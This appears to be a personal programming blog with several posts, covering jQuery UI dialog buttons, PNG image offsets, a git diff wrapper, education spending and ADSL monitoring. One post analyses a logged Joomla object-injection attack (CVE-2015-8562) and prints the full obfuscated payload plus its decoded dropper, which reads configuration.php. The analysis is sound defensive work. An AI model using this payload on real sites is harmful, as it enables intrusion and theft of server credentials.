Monday 4 November 2019

Keep jQuery UI Dialog button text in HTML, not in JS initializers

It's long irked me that the jQuery UI Dialog class expects one to specify what text appears on a Dialog's buttons in the options initializer:
$('#something').dialog({ buttons: [ { text: 'Apply', click: function() { /* ... */ } }, { text: 'Cancel', click: function() { /* ... */ } }, ] });
This has problems:
  • It's a confusion of responsibilities between View and Controller roles. Specifying button text is very much "View territory", while defining dialog actions belongs to the Controller role.
  • It obstructs internationalization. If one now wanted a German version of the web app, it wouldn't be enough simply to translate everything in the HTML body. One would have to also maintain multiple versions of the page scripts, one for each (natural) language.
$('#something').dialog({ buttons: [ { text: 'Anwenden', click: function() { /* ... */ } }, { text: 'Abbrechen', click: function() { /* ... */ } }, ] });
Yuk.
All problems in computer science can be solved by another level of indirection.
- David Wheeler
I figured out a way to separate concerns by (ab)using a button's class attribute. Inside the dialog-defining HTML, I explicitly list the buttons in a container marked as being of class translatable-buttons:
<div class="translatable-buttons"> <button class="translatable-apply" type="button">Apply</button> <button class="translatable-delete" type="button">Delete</button> <button class="translatable-cancel" type="button">Cancel</button> </div>
These explicitly marked-up buttons shouldn't be shown in the dialog though, since jQuery UI wants to add the dialog's buttons itself, so apply some CSS:
.translatable-buttons { display: none; }
Buttons have to do something when pressed:
var buttonspecs = { 'translatable-apply': { click: function() {}, }, 'translatable-delete': { click: function() {}, }, 'translatable-cancel': { click: function() {}, }, };
And finally jQuery UI needs to see this in a language it can understand, so a bit of list processing glues it all together:
var buttons = []; // Grab button text from HTML and add it as a text: property. $.each(buttonspecs, function(i, buttonspec) { buttons.push($.extend({}, buttonspec, { text: $('.translatable-buttons button.'+i, speciesdialog).text() })); }); var speciesdialog = $('#speciesdialog').dialog({ buttons: buttons, });
The key is to define the behaviours in the page script and link it to an abstract button name, rather than to concrete button text. This is the purpose for the translatable-apply etc. keys in the buttonspecs object. The $.each call then merges these button behaviours with the button text read from the DOM and concatenates all the results into the buttons array.

The excerpts shown here are from my chemistry calculator, in the Keq section.

Thursday 7 July 2016

Server break-in attempts

On my website I log all the HTTP request headers to a file, and today I noticed an interesting bit:
    [HTTP_X_FORWARDED_FOR] => }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:2397:"eval(chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(100).chr(105).chr(114).chr(110).chr(97).chr(109).chr(101).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(39).chr(83).chr(67).chr(82).chr(73).chr(80).chr(84).chr(95).chr(70).chr(73).chr(76).chr(69).chr(78).chr(65).chr(77).chr(69).chr(39).chr(93).chr(41).chr(46).chr(39).chr(47).chr(56).chr(56).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(39).chr(80).chr(68).chr(57).chr(119).chr(97).chr(72).chr(65).chr(103).chr(74).chr(72).chr(77).chr(103).chr(80).chr(83).chr(82).chr(102).chr(85).chr(48).chr(86).chr(83).chr(86).chr(107).chr(86).chr(83).chr(87).chr(121).chr(100).chr(84).chr(82).chr(86).chr(74).chr(87).chr(82).chr(86).chr(74).chr(102).chr(84).chr(107).chr(70).chr(78).chr(82).chr(83).chr(100).chr(100).chr(79).chr(121).chr(82).chr(106).chr(80).chr(87).chr(74).chr(104).chr(99).chr(50).chr(85).chr(50).chr(78).chr(70).chr(57).chr(108).chr(98).chr(109).chr(78).chr(118).chr(90).chr(71).chr(85).chr(111).chr(90).chr(109).chr(108).chr(115).chr(90).chr(86).chr(57).chr(110).chr(90).chr(88).chr(82).chr(102).chr(89).chr(50).chr(57).chr(117).chr(100).chr(71).chr(86).chr(117).chr(100).chr(72).chr(77).chr(111).chr(74).chr(50).chr(78).chr(118).chr(98).chr(109).chr(90).chr(112).chr(90).chr(51).chr(86).chr(121).chr(89).chr(88).chr(82).chr(112).chr(98).chr(50).chr(52).chr(117).chr(99).chr(71).chr(104).chr(119).chr(74).chr(121).chr(107).chr(112).chr(79).chr(50).chr(86).chr(106).chr(97).chr(71).chr(56).chr(103).chr(74).chr(72).chr(77).chr(103).chr(76).chr(105).chr(65).chr(105).chr(73).chr(67).chr(73).chr(103).chr(76).chr(105).chr(65).chr(107).chr(89).chr(122).chr(116).chr(49).chr(98).chr(109).chr(120).chr(112).chr(98).chr(109).chr(115).chr(111).chr(74).chr(70).chr(57).chr(84).chr(82).chr(86).chr(74).chr(87).chr(82).chr(86).chr(74).chr(98).chr(74).chr(49).chr(78).chr(68).chr(85).chr(107).chr(108).chr(81).chr(86).chr(70).chr(57).chr(71).chr(83).chr(85).chr(120).chr(70).chr(84).chr(107).chr(70).chr(78).chr(82).chr(83).chr(100).chr(100).chr(75).chr(84).chr(115).chr(47).chr(80).chr(103).chr(61).chr(61).chr(39).chr(41).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}<F0><FD><FD><FD>

That looks a bit fishy, a bit like a PHP equivalent of an SQL injection attack. Notice the closing curly brace - clearly intended to break out of some parser and inject some unexpected data-code.

What does that chr()-encoded string contain?
file_put_contents(dirname($_SERVER['SCRIPT_FILENAME']).'/88.php',base64_decode('PD9waHAgJHMgPSRfU0VSVkVSWydTRVJWRVJfTkFNRSddOyRjPWJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJ2NvbmZpZ3VyYXRpb24ucGhwJykpO2VjaG8gJHMgLiAiICIgLiAkYzt1bmxpbmsoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddKTs/Pg=='));

And in turn that Base64-encoded string is:
<?php $s =$_SERVER['SERVER_NAME'];$c=base64_encode(file_get_contents('configuration.php'));echo $s . " " . $c;unlink($_SERVER['SCRIPT_FILENAME']);?>

So that's what they're after - a list of hostnames and the contents of configuration.php.

Some Internet searching reveals that this is probably CVE-2015-8562. I'm tempted to record the IP addresses of the clients that attempt these code injections and return them with a fake Joomla configuration on requests for /88.php.

Sunday 19 June 2016

Xchat script for catching flash-in-the-pan users

I've been trying to speak to someone on IRC who is only very sporadically online, and when they are, it's often for less than a minute. They probably just connect, see no activity (in a very short period) and thus leave again. I'm in self-exile from the channel they join, so they don't greet me, which would normally trigger my IRC client's nick catcher that pops up an alert.

/notify helps me to at least see when they were online, but it doesn't help me catch them while they're still online. Xchat's "Friends" list doesn't pop up an alert, unfortunately. Frustratingly I often check on IRC only to see that they had been online while I was at my computer - just busy doing something else.

So I wrote an Xchat script to help me out. It's a script that performs an arbitrary command when a matching "Notify Online" event occurs. I've set it to msg myself, which will cause Xchat to pop up an alert, and hopefully I'll notice that while I'm working on my dark web drug marketplace or watching pr0n.

The script: http://www.bpj-code.co.za/downloads.php/xchat/blitzchat.pl?text

Saturday 11 June 2016

TIL: PNG images can specify an offset

I'm working with a world map that I want to treat as consisting of 20x20 tiles. Because the image is 7964x3980, I need to add 8 pixels on the western and eastern edges. Seems simple enough:
$ convert +append WorldMap-A_non-Frame.png WorldMap-A_non-Frame.png WorldMap-A_non-Frame.png /tmp/threeworlds.png $ convert -crop 7980x3980+7956+0 /tmp/threeworlds.png world-tiled.png

The first command is to replicate the map so that the larger crop window can grab the 8 columns of pixels of the East and paste them west of the West, and the same for the opposite edge of the image.

Now I thought it would be simple to view a window of this map, scaled down by some integer factor. A degenerate case is to view the whole map, at a 1:1 scaling:
$ convert -crop 7980x3980+0+0 -scale 399x199 world-tiled.png /tmp/wf.png $ file /tmp/wf.jpeg /tmp/wf.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 1x199, frames 3

WAT

I'm tearing my hair out trying to figure out why world-tiled.png crops this way, but WorldMap-A_non-Frame.png crops exactly as expected when I notice one Internet search result using the -repage argument to convert(1). Combined with some warnings I saw while flailing about with random geometry specifications:
$ convert world-tiled.png  -crop 7900x3900+0+0 /tmp/wf.jpeg convert: geometry does not contain image `world-tiled.png' @ warning/transform.c/CropImage/674.

I start to wonder if there's some metadata in PNG files that file(1) doesn't report, that characterizes the coordinate system reference frame for the pixel data. Indeed, when I load world-tiled.png in GIMP, it prompts me whether I want to keep the image offset or ditch it.

I ditch the offset of course, let GIMP overwrite the image, and since then my image crops as expected. Side benefit: GIMP seems to compress the image harder, although that may just be a difference in defaults.

Friday 5 February 2016

Diffs without noise

Over the last year or five I've been on a particular refactoring campaign in my gEDA fork. I'm trying to reduce the number of places where an object's forward and reverse pointers get accessed explicitly. To find all these places, I temporarily renamed these pointer fields to something unique so that I can reliably find and edit all these occurrences at any given time. So my working directory is full of noisy diff hunks like this one:

@@ -287,9 +287,9 @@ int f_open_flags(TOPLEVEL *toplevel, PAGE *page, const gchar *filename, o_read(toplevel, page->object_tail, full_filename, &tmp_err); } - for (o_current = page->object_tail->next; + for (o_current = page->object_tail->next_secret; o_current != NULL; - o_current = o_current->next) { + o_current = o_current->next_secret) { /* This would also be a place to emit page signals. */ s_conn_update_object(page, o_current); o_attrib_init_uuid(toplevel, o_current);

When I'm changing some code that doesn't explicitly use these forward and reverse pointers (yet is still required to complete the refactor) I want to see only the diffs from those changes. Without the diff pollution caused by renaming the pointer fields. If only there were a way to canonicalize each side of the diff before comparing them, so as to hide the uninteresting differences... So I wrote a way to do that, using git's external diff tool facility:

#!/bin/sh if test $# -ge 7; then a=`mktemp` b=`mktemp` sed "$GIT_DIFF_OPTS" "$2" >$a sed "$GIT_DIFF_OPTS" "$5" >$b diff -up --label "$1" --label "$5" $a $b rm -f $a $b else diff -up /dev/null "$1" fi true

(It isn't very robust to argument errors.) I invoke it like this:

GIT_DIFF_OPTS='s/_secret//g' GIT_EXTERNAL_DIFF=~/personal-utils/git-diff-sed git diff

Unfortunately diff colouring doesn't happen when using an external diff tool. Otherwise it works like a charm.

Sunday 25 October 2015

How much do countries spend on education, per capita?

During the recent #FeesMustFall campaign here in South Africa, I wanted to know how much we spend on education, per head, and to compare that figure with other countries' spending. Wikipedia has a list of spending as a percentage of GDP, and a list of countries by GDP per capita, but I didn't find one of spending on education, per capita.

Multiplying the values from each list (I took the UN values for GDP) gave me the result I wanted. I did this with a little Perl script that started off as an attempted one-liner at the shell prompt, but turned out to outgrow that space.

Some highlights from the full list:

1 Monaco: 14216.914 2 Norway: 7043.848 3 Denmark: 4673.838 4 Switzerland: 4412.408 5 Sweden: 3997.356 6 Qatar: 3827.432 ... 12 United States: 2881.56 13 Trinidad and Tobago: 2845.44 ... 21 United Kingdom: 2333.265 22 Israel: 2224.536 23 Germany: 2029.095 24 Kuwait: 1983.524 ... 39 Argentina: 959.4 40 Cuba: 949.96 41 Estonia: 927.744 42 Maldives: 920.64 43 Suriname: 884.34 44 Greece: 870.72 ... 54 Poland: 674.24 55 Botswana: 650.768 56 Slovakia: 645.408 57 Costa Rica: 641.655 58 Croatia: 620.54 59 Brazil: 571.149 ... 69 Gabon: 385.738 70 Kazakhstan: 382.2 71 Romania: 380.679 72 Colombia: 375.648 73 South Africa: 374.544 74 Antigua and Barbuda: 372.33 75 Namibia: 349.568 ... 81 Mauritius: 306.976 82 Tunisia: 302.673 83 Iran: 299.061 ... 97 Swaziland: 219.882 (go go go King Mswati! Maybe if you reduce that a bit more you can have a few more virgins!) ... 115 Lesotho: 133.3 ... 136 Cameroon: 49.173 137 India: 47.988 138 Zimbabwe: 43.838 (wow Bob, so uplifting of your people - but at least you have your land, right?) ... 167 Somalia: 0.532
It's a bit depressing. SA's GDP per capita is close to Cuba's, but they significantly outspend us on education. Botswana too, to a lesser degree. I guess we're too busy bailing out delinquent state-owned enterprises that were de rigueur last century. So we "can't afford" to spend more on education. And a fleet of nuclear power stations is just so much sexier than a more productive workforce, right?

Friday 17 July 2015

My phone is dead, but ADSL is (barely) up

Three weeks ago I got burgled, and the bastards cut my phone line. My permanently temporary fix involved stripping the wire ends and twisting corresponding ends together. It had also rained plenty the two days before the burglary, and usually rain has meant phone line problems. So it was this time; the phone worked a day or two after my repairs, then it died for a few days. Then it worked for another day or two, but then died again, and has stayed that way for the last week plus change. There is nothing on the line as far as my telephone is concerned. No dial tone, no hum, no buzzing, no hiss. If I still had a multimeter I could measure the on-hook voltage between tip and ring, but I now don't, so I can't. Just to be sure I jury-rigged a 1mA meter with a 47kΩ resistor in series to try and measure the voltage, and again, nothing there. The needle didn't even move.

I'm so glad my ADSL (just about) works though. I really depend on ADSL more than on my telephone, although especially now after the burglary I would have liked to be able to call people to make fire under their arses (I'm looking at you, Hollard / Ooba / 1000 other "partners", it's been three weeks and I've had an army of people come and look at the damage, but the only doing that's happened is what I've done myself).

Better watch that ADSL then, since it's important. So I wrote a script to monitor the ADSL modem's stats. Just some screen-scraping, although I'm sure there's some neat way to do it with SNMP. Add some Gnuplot and I get a nice graph of SNR margins, up and downstream. Red = upstream margin, green = upstream power, the others for downstream.